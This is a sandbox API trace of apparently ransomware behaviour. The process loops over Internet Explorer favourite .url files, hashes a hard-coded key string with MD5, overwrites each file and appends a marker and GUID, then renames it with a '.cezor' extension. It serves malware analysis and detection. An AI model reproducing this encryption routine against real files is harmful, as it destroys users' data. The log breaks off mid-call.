0x74e9a8 [0060.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0060.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.913] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.913] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.915] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.915] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.916] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.916] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.916] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.916] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.916] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.916] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.916] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.916] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.916] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.917] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.917] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.917] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.917] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.917] GetLastError () returned 0x0 [0060.917] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.917] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.917] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.918] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.918] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.918] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.918] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.918] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.918] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.918] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.918] CloseHandle (hObject=0x5c4) returned 1 [0060.919] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0060.919] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0060.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feb968 | out: hHeap=0x670000) returned 1 [0060.919] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.cezor")) returned 1 [0060.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.919] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.920] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0060.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.920] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.921] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0060.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.921] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.921] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.923] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.923] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.924] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.924] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.924] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.924] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.924] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.924] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.924] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.924] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.925] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.925] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.925] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.925] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.925] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.925] GetLastError () returned 0x0 [0060.925] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.925] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.925] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.925] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.925] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.925] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.926] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.926] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.926] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.926] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.926] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.926] CloseHandle (hObject=0x5c4) returned 1 [0060.927] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0060.927] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.927] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feb968 | out: hHeap=0x670000) returned 1 [0060.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.cezor")) returned 1 [0060.927] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.927] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.928] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0060.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.928] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0060.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.929] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.931] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.931] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.932] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.932] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.932] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.932] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.932] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.932] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.932] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.933] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.933] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.933] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.933] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.933] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.933] GetLastError () returned 0x0 [0060.933] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.933] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.933] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.933] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.933] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.934] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.934] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.934] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.934] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.934] CloseHandle (hObject=0x5c4) returned 1 [0060.935] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0060.935] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feb968 | out: hHeap=0x670000) returned 1 [0060.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.cezor")) returned 1 [0060.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.935] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.936] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0060.936] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.936] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.936] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0060.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.937] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=134) returned 1 [0060.937] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.940] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.940] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.941] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.941] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.941] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x86, lpOverlapped=0x0) returned 1 [0060.941] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.941] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.941] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.941] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.941] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, 